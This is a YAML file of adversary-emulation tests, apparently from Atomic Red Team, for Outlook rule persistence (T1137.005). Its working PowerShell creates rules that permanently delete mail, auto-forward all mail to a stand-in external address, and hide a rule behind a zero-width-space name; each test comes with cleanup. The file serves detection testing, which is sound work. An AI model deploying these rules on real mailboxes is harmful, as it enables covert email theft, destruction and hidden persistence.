431 lines
20 KiB
YAML
431 lines
20 KiB
YAML
attack_technique: T1137.005
|
|
display_name: "Office Application Startup: Outlook Rules"
|
|
|
|
atomic_tests:
|
|
|
|
# ============================================================
|
|
# TEST 1 — COM Object: Rule Triggers on Subject Keyword
|
|
# ============================================================
|
|
- name: Outlook Rule - Subject Trigger with DeletePermanently Action via COM Object
|
|
auto_generated_guid: ffadc988-b682-4a68-bd7e-4803666be637
|
|
description: |
|
|
Creates a malicious Outlook rule via the COM object that permanently deletes
|
|
emails when an email with a specific subject keyword arrives. Simulates
|
|
adversary persistence via Outlook Rules (T1137.005). Uses DeletePermanently
|
|
action as it does not require a resolved Exchange folder unlike MoveToFolder.
|
|
NOTE: olRuleActionStartApplication cannot be created programmatically per
|
|
Microsoft's Rules object model - DeletePermanently is used as the supported
|
|
equivalent that generates the same rule-creation artefact.
|
|
NOTE: This test MUST be run from a non-elevated (standard user) PowerShell
|
|
session. Outlook COM fails with 0x80080005 when invoked as Administrator.
|
|
supported_platforms:
|
|
- windows
|
|
input_arguments:
|
|
rule_name:
|
|
description: Name for the malicious Outlook rule
|
|
type: string
|
|
default: AtomicTest_T1137005_SubjectTrigger
|
|
trigger_subject:
|
|
description: Email subject keyword that triggers the rule
|
|
type: string
|
|
default: "atomic-rt-trigger"
|
|
dependencies:
|
|
- description: Classic Outlook must be installed (required for COM automation)
|
|
prereq_command: |
|
|
$clsid = (Get-ItemProperty "REGISTRY::HKEY_CLASSES_ROOT\Outlook.Application\CLSID" -ErrorAction SilentlyContinue).'(Default)'
|
|
if ($clsid) { exit 0 } else { exit 1 }
|
|
get_prereq_command: |
|
|
Write-Host "[-] Classic Outlook is not installed or COM is not registered."
|
|
Write-Host " Install Microsoft 365 Apps with Classic Outlook before running this test."
|
|
Write-Host " Note: The new Outlook for Windows does NOT support COM automation."
|
|
exit 1
|
|
executor:
|
|
name: powershell
|
|
elevation_required: false
|
|
command: |
|
|
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
|
|
if ($isAdmin) {
|
|
Write-Host "[-] This test must be run from a non-elevated PowerShell session."
|
|
Write-Host " Outlook COM fails with 0x80080005 when run as Administrator."
|
|
exit 1
|
|
}
|
|
|
|
$outlook = New-Object -ComObject Outlook.Application
|
|
$namespace = $outlook.GetNamespace("MAPI")
|
|
$rules = $namespace.DefaultStore.GetRules()
|
|
$rule = $rules.Create("#{rule_name}", 0)
|
|
|
|
$cond = $rule.Conditions.Subject
|
|
$cond.Enabled = $true
|
|
$cond.Text = @("#{trigger_subject}")
|
|
|
|
$action = $rule.Actions.DeletePermanently
|
|
$action.Enabled = $true
|
|
|
|
$rule.Enabled = $true
|
|
$rules.Save()
|
|
Write-Host "[+] Rule '#{rule_name}' created. Emails with subject '#{trigger_subject}' will be permanently deleted."
|
|
cleanup_command: |
|
|
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
|
|
if ($isAdmin) {
|
|
Write-Host "[-] Cleanup must be run from a non-elevated PowerShell session. Skipping."
|
|
exit 1
|
|
}
|
|
$outlook = New-Object -ComObject Outlook.Application
|
|
$namespace = $outlook.GetNamespace("MAPI")
|
|
$rules = $namespace.DefaultStore.GetRules()
|
|
$removed = $false
|
|
for ($i = $rules.Count; $i -ge 1; $i--) {
|
|
if ($rules.Item($i).Name -eq "#{rule_name}") {
|
|
$rules.Remove($rules.Item($i).Name)
|
|
$removed = $true
|
|
}
|
|
}
|
|
if ($removed) {
|
|
$rules.Save()
|
|
Write-Host "[+] All instances of rule '#{rule_name}' removed."
|
|
} else {
|
|
Write-Host "[*] Rule '#{rule_name}' not found - already removed."
|
|
}
|
|
|
|
|
|
# ============================================================
|
|
# TEST 2 — COM Object: Rule Triggers on Sender Address
|
|
# ============================================================
|
|
- name: Outlook Rule - Sender Address Trigger with DeletePermanently Action via COM Object
|
|
auto_generated_guid: bddfd8d4-7687-4971-b611-50a537ab3ab4
|
|
description: |
|
|
Creates an Outlook rule via COM that permanently deletes emails received
|
|
from a specific sender address. Adversaries use sender-based triggers to
|
|
make rules appear more legitimate (e.g. disguised as a filter for a
|
|
specific colleague). Tests a different rule condition path through the
|
|
COM object model. Uses DeletePermanently as it does not require a resolved
|
|
Exchange folder unlike MoveToFolder.
|
|
NOTE: This test MUST be run from a non-elevated (standard user) PowerShell
|
|
session. Outlook COM fails with 0x80080005 when invoked as Administrator.
|
|
supported_platforms:
|
|
- windows
|
|
input_arguments:
|
|
rule_name:
|
|
description: Name for the malicious Outlook rule
|
|
type: string
|
|
default: AtomicTest_T1137005_SenderTrigger
|
|
trigger_sender:
|
|
description: Sender email address that triggers the rule
|
|
type: string
|
|
default: "atomictest@redteam.local"
|
|
dependencies:
|
|
- description: Classic Outlook must be installed (required for COM automation)
|
|
prereq_command: |
|
|
$clsid = (Get-ItemProperty "REGISTRY::HKEY_CLASSES_ROOT\Outlook.Application\CLSID" -ErrorAction SilentlyContinue).'(Default)'
|
|
if ($clsid) { exit 0 } else { exit 1 }
|
|
get_prereq_command: |
|
|
Write-Host "[-] Classic Outlook is not installed or COM is not registered."
|
|
Write-Host " Install Microsoft 365 Apps with Classic Outlook before running this test."
|
|
Write-Host " Note: The new Outlook for Windows does NOT support COM automation."
|
|
exit 1
|
|
executor:
|
|
name: powershell
|
|
elevation_required: false
|
|
command: |
|
|
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
|
|
if ($isAdmin) {
|
|
Write-Host "[-] This test must be run from a non-elevated PowerShell session."
|
|
Write-Host " Outlook COM fails with 0x80080005 when run as Administrator."
|
|
exit 1
|
|
}
|
|
|
|
$outlook = New-Object -ComObject Outlook.Application
|
|
$namespace = $outlook.GetNamespace("MAPI")
|
|
$rules = $namespace.DefaultStore.GetRules()
|
|
$rule = $rules.Create("#{rule_name}", 0)
|
|
|
|
$cond = $rule.Conditions.From
|
|
$cond.Enabled = $true
|
|
$cond.Recipients.Add("#{trigger_sender}")
|
|
$cond.Recipients.ResolveAll() | Out-Null
|
|
|
|
$action = $rule.Actions.DeletePermanently
|
|
$action.Enabled = $true
|
|
|
|
$rule.Enabled = $true
|
|
$rules.Save()
|
|
Write-Host "[+] Sender-based rule '#{rule_name}' created. Emails from '#{trigger_sender}' will be permanently deleted."
|
|
cleanup_command: |
|
|
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
|
|
if ($isAdmin) {
|
|
Write-Host "[-] Cleanup must be run from a non-elevated PowerShell session. Skipping."
|
|
exit 1
|
|
}
|
|
$outlook = New-Object -ComObject Outlook.Application
|
|
$namespace = $outlook.GetNamespace("MAPI")
|
|
$rules = $namespace.DefaultStore.GetRules()
|
|
$removed = $false
|
|
for ($i = $rules.Count; $i -ge 1; $i--) {
|
|
if ($rules.Item($i).Name -eq "#{rule_name}") {
|
|
$rules.Remove($rules.Item($i).Name)
|
|
$removed = $true
|
|
}
|
|
}
|
|
if ($removed) {
|
|
$rules.Save()
|
|
Write-Host "[+] All instances of rule '#{rule_name}' removed."
|
|
} else {
|
|
Write-Host "[*] Rule '#{rule_name}' not found - already removed."
|
|
}
|
|
|
|
|
|
# ============================================================
|
|
# TEST 3 — COM Object: Auto-Forward Rule (Exfiltration)
|
|
# ============================================================
|
|
- name: Outlook Rule - Auto-Forward Emails to External Address via COM Object
|
|
auto_generated_guid: b0bd3d76-a57c-4699-83f4-8cd798dd09bd
|
|
description: |
|
|
Creates an Outlook rule that automatically forwards all received emails to
|
|
an external address. Simulates Business Email Compromise (BEC) and insider
|
|
threat scenarios where adversaries establish forwarding rules to exfiltrate
|
|
mail. One of the most commonly observed real-world abuses of Outlook rules.
|
|
Detected by Exchange mail flow anomalies and Microsoft Secure Score
|
|
forwarding alerts.
|
|
NOTE: No actual email is forwarded during this test - the rule is created
|
|
but a trigger email is not sent. Run cleanup immediately after verification.
|
|
NOTE: This test MUST be run from a non-elevated (standard user) PowerShell
|
|
session. Outlook COM fails with 0x80080005 when invoked as Administrator.
|
|
supported_platforms:
|
|
- windows
|
|
input_arguments:
|
|
rule_name:
|
|
description: Name for the forwarding rule
|
|
type: string
|
|
default: AtomicTest_T1137005_ForwardExfil
|
|
forward_to_address:
|
|
description: Email address to forward mail to (use a controlled test address)
|
|
type: string
|
|
default: "atomictest-exfil@redteam.local"
|
|
dependencies:
|
|
- description: Classic Outlook must be installed (required for COM automation)
|
|
prereq_command: |
|
|
$clsid = (Get-ItemProperty "REGISTRY::HKEY_CLASSES_ROOT\Outlook.Application\CLSID" -ErrorAction SilentlyContinue).'(Default)'
|
|
if ($clsid) { exit 0 } else { exit 1 }
|
|
get_prereq_command: |
|
|
Write-Host "[-] Classic Outlook is not installed or COM is not registered."
|
|
Write-Host " Install Microsoft 365 Apps with Classic Outlook before running this test."
|
|
Write-Host " Note: The new Outlook for Windows does NOT support COM automation."
|
|
exit 1
|
|
executor:
|
|
name: powershell
|
|
elevation_required: false
|
|
command: |
|
|
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
|
|
if ($isAdmin) {
|
|
Write-Host "[-] This test must be run from a non-elevated PowerShell session."
|
|
Write-Host " Outlook COM fails with 0x80080005 when run as Administrator."
|
|
exit 1
|
|
}
|
|
|
|
$outlook = New-Object -ComObject Outlook.Application
|
|
$namespace = $outlook.GetNamespace("MAPI")
|
|
$rules = $namespace.DefaultStore.GetRules()
|
|
$rule = $rules.Create("#{rule_name}", 0)
|
|
|
|
$action = $rule.Actions.Forward
|
|
$action.Enabled = $true
|
|
$action.Recipients.Add("#{forward_to_address}")
|
|
$action.Recipients.ResolveAll() | Out-Null
|
|
|
|
$rule.Enabled = $true
|
|
$rules.Save()
|
|
Write-Host "[+] Auto-forward rule '#{rule_name}' created -> #{forward_to_address}"
|
|
Write-Host "[!] Run cleanup immediately after verifying rule creation in Outlook."
|
|
cleanup_command: |
|
|
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
|
|
if ($isAdmin) {
|
|
Write-Host "[-] Cleanup must be run from a non-elevated PowerShell session. Skipping."
|
|
exit 1
|
|
}
|
|
$outlook = New-Object -ComObject Outlook.Application
|
|
$namespace = $outlook.GetNamespace("MAPI")
|
|
$rules = $namespace.DefaultStore.GetRules()
|
|
$removed = $false
|
|
for ($i = $rules.Count; $i -ge 1; $i--) {
|
|
if ($rules.Item($i).Name -eq "#{rule_name}") {
|
|
$rules.Remove($rules.Item($i).Name)
|
|
$removed = $true
|
|
}
|
|
}
|
|
if ($removed) {
|
|
$rules.Save()
|
|
Write-Host "[+] All instances of forwarding rule '#{rule_name}' removed."
|
|
} else {
|
|
Write-Host "[*] Rule '#{rule_name}' not found - already removed."
|
|
}
|
|
|
|
|
|
# ============================================================
|
|
# TEST 4 — COM Object: Enumerate All Existing Rules (Discovery)
|
|
# ============================================================
|
|
- name: Outlook Rules - Enumerate Existing Rules via PowerShell COM Object
|
|
auto_generated_guid: 5ff5249a-5807-480e-ab52-c430497a8a25
|
|
description: |
|
|
Enumerates all Outlook rules configured on the local profile using the
|
|
PowerShell COM object. Simulates the discovery phase where an adversary
|
|
audits existing rules before implanting their own, or where a threat actor
|
|
tool such as Ruler lists rules to understand the environment. This
|
|
enumeration should itself generate telemetry - use it to validate that
|
|
your monitoring catches PowerShell spawning Outlook COM for recon purposes.
|
|
NOTE: This test MUST be run from a non-elevated (standard user) PowerShell
|
|
session. Outlook COM fails with 0x80080005 when invoked as Administrator.
|
|
supported_platforms:
|
|
- windows
|
|
dependencies:
|
|
- description: Classic Outlook must be installed (required for COM automation)
|
|
prereq_command: |
|
|
$clsid = (Get-ItemProperty "REGISTRY::HKEY_CLASSES_ROOT\Outlook.Application\CLSID" -ErrorAction SilentlyContinue).'(Default)'
|
|
if ($clsid) { exit 0 } else { exit 1 }
|
|
get_prereq_command: |
|
|
Write-Host "[-] Classic Outlook is not installed or COM is not registered."
|
|
Write-Host " Install Microsoft 365 Apps with Classic Outlook before running this test."
|
|
Write-Host " Note: The new Outlook for Windows does NOT support COM automation."
|
|
exit 1
|
|
executor:
|
|
name: powershell
|
|
elevation_required: false
|
|
command: |
|
|
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
|
|
if ($isAdmin) {
|
|
Write-Host "[-] This test must be run from a non-elevated PowerShell session."
|
|
Write-Host " Outlook COM fails with 0x80080005 when run as Administrator."
|
|
exit 1
|
|
}
|
|
|
|
$outlook = New-Object -ComObject Outlook.Application
|
|
$rules = $outlook.GetNamespace("MAPI").DefaultStore.GetRules()
|
|
|
|
Write-Host "`n[*] Enumerating Outlook rules on local profile..."
|
|
Write-Host " Total rules found: $($rules.Count)`n"
|
|
|
|
for ($i = 1; $i -le $rules.Count; $i++) {
|
|
$r = $rules.Item($i)
|
|
Write-Host " Rule $i : Name='$($r.Name)' | Enabled=$($r.Enabled)"
|
|
}
|
|
|
|
if ($rules.Count -eq 0) {
|
|
Write-Host " (No rules configured)"
|
|
}
|
|
cleanup_command: |
|
|
Write-Host "[*] No cleanup required for enumeration test."
|
|
|
|
|
|
|
|
# ============================================================
|
|
# TEST 5 — Hidden Rule: Obfuscated Name (MAPI Evasion)
|
|
# FIX: Write script to a temp .ps1 file and invoke it via
|
|
# Start-Process to avoid the ART executor's argument
|
|
# quoting mangling the zero-width space byte sequence.
|
|
# ============================================================
|
|
- name: Outlook Rule - Create Rule with Obfuscated Blank Name (MAPI Evasion)
|
|
auto_generated_guid: cb814cf8-24f2-41dc-a1cd-1c2073276d4a
|
|
description: |
|
|
Creates an Outlook rule with a zero-width space as its display name,
|
|
making it appear blank and invisible in the standard Outlook Rules UI.
|
|
Simulates the hidden inbox rule technique documented by Damian Pfammatter
|
|
(2018) and referenced in MITRE ATT&CK T1137.005 - adversaries use MAPI
|
|
editors or Ruler to blank PR_RULE_MSG_NAME so the rule does not appear
|
|
during casual rule auditing. Tests whether monitoring catches rules that
|
|
are invisible in the Outlook GUI but detectable via MFCMapi or
|
|
Get-InboxRule on Exchange. Uses PlaySound action as RunApplication
|
|
cannot be created programmatically per Microsoft's Rules object model.
|
|
NOTE: This test MUST be run from a non-elevated (standard user) PowerShell
|
|
session. Outlook COM fails with 0x80080005 when invoked as Administrator.
|
|
NOTE: Script is written to a temp file before execution to prevent the
|
|
ART executor's quote-wrapping from mangling the zero-width space bytes.
|
|
supported_platforms:
|
|
- windows
|
|
input_arguments:
|
|
trigger_subject:
|
|
description: Subject keyword to trigger the hidden rule
|
|
type: string
|
|
default: "atomic-rt-hidden"
|
|
sound_file_path:
|
|
description: Path to .wav file used as the rule action payload indicator
|
|
type: string
|
|
default: "C:\\Windows\\Media\\notify.wav"
|
|
dependencies:
|
|
- description: Classic Outlook must be installed (required for COM automation)
|
|
prereq_command: |
|
|
$clsid = (Get-ItemProperty "REGISTRY::HKEY_CLASSES_ROOT\Outlook.Application\CLSID" -ErrorAction SilentlyContinue).'(Default)'
|
|
if ($clsid) { exit 0 } else { exit 1 }
|
|
get_prereq_command: |
|
|
Write-Host "[-] Classic Outlook is not installed or COM is not registered."
|
|
Write-Host " Install Microsoft 365 Apps with Classic Outlook before running this test."
|
|
Write-Host " Note: The new Outlook for Windows does NOT support COM automation."
|
|
exit 1
|
|
- description: Sound file must exist for PlaySound action
|
|
prereq_command: |
|
|
if (Test-Path "#{sound_file_path}") { exit 0 } else { exit 1 }
|
|
get_prereq_command: |
|
|
Write-Host "[-] Sound file not found at #{sound_file_path}"
|
|
Write-Host " Specify a valid .wav file path in the sound_file_path input argument."
|
|
exit 1
|
|
executor:
|
|
name: powershell
|
|
elevation_required: false
|
|
command: |
|
|
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
|
|
if ($isAdmin) {
|
|
Write-Host "[-] This test must be run from a non-elevated PowerShell session."
|
|
Write-Host " Outlook COM fails with 0x80080005 when run as Administrator."
|
|
exit 1
|
|
}
|
|
$tmpScript = "$env:TEMP\T1137005_hidden_rule_create.ps1"
|
|
$lines = @(
|
|
'$hiddenName = [System.Text.Encoding]::Unicode.GetString([byte[]](0x0B, 0x20))',
|
|
'$outlook = New-Object -ComObject Outlook.Application',
|
|
'$namespace = $outlook.GetNamespace("MAPI")',
|
|
'$rules = $namespace.DefaultStore.GetRules()',
|
|
'$rule = $rules.Create($hiddenName, 0)',
|
|
'$cond = $rule.Conditions.Subject',
|
|
'$cond.Enabled = $true',
|
|
'$cond.Text = @("#{trigger_subject}")',
|
|
'$action = $rule.Actions.PlaySound',
|
|
'$action.Enabled = $true',
|
|
'$action.FilePath = "#{sound_file_path}"',
|
|
'$rule.Enabled = $true',
|
|
'$rules.Save()',
|
|
'Write-Host "[+] Hidden rule created with zero-width space name."',
|
|
'Write-Host "[*] Open Outlook via File -> Manage Rules and Alerts - rule name will appear blank."',
|
|
'Write-Host "[*] Verify rule exists via PowerShell COM enumeration (Test 4) or Get-InboxRule in Exchange."'
|
|
)
|
|
$lines -join "`n" | Set-Content -Path $tmpScript -Encoding UTF8
|
|
powershell.exe -NoProfile -ExecutionPolicy Bypass -File $tmpScript
|
|
Remove-Item $tmpScript -ErrorAction SilentlyContinue
|
|
cleanup_command: |
|
|
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
|
|
if ($isAdmin) {
|
|
Write-Host "[-] Cleanup must be run from a non-elevated PowerShell session. Skipping."
|
|
exit 1
|
|
}
|
|
$tmpScript = "$env:TEMP\T1137005_hidden_rule_cleanup.ps1"
|
|
$lines = @(
|
|
'$hiddenName = [System.Text.Encoding]::Unicode.GetString([byte[]](0x0B, 0x20))',
|
|
'$outlook = New-Object -ComObject Outlook.Application',
|
|
'$namespace = $outlook.GetNamespace("MAPI")',
|
|
'$rules = $namespace.DefaultStore.GetRules()',
|
|
'$removed = $false',
|
|
'for ($i = $rules.Count; $i -ge 1; $i--) {',
|
|
' if ($rules.Item($i).Name -eq $hiddenName) {',
|
|
' $rules.Remove($rules.Item($i).Name)',
|
|
' $removed = $true',
|
|
' }',
|
|
'}',
|
|
'if ($removed) {',
|
|
' $rules.Save()',
|
|
' Write-Host "[+] Hidden rule(s) removed."',
|
|
'} else {',
|
|
' Write-Host "[-] Hidden rule not found - may have already been removed."',
|
|
'}'
|
|
)
|
|
$lines -join "`n" | Set-Content -Path $tmpScript -Encoding UTF8
|
|
powershell.exe -NoProfile -ExecutionPolicy Bypass -File $tmpScript
|
|
Remove-Item $tmpScript -ErrorAction SilentlyContinue
|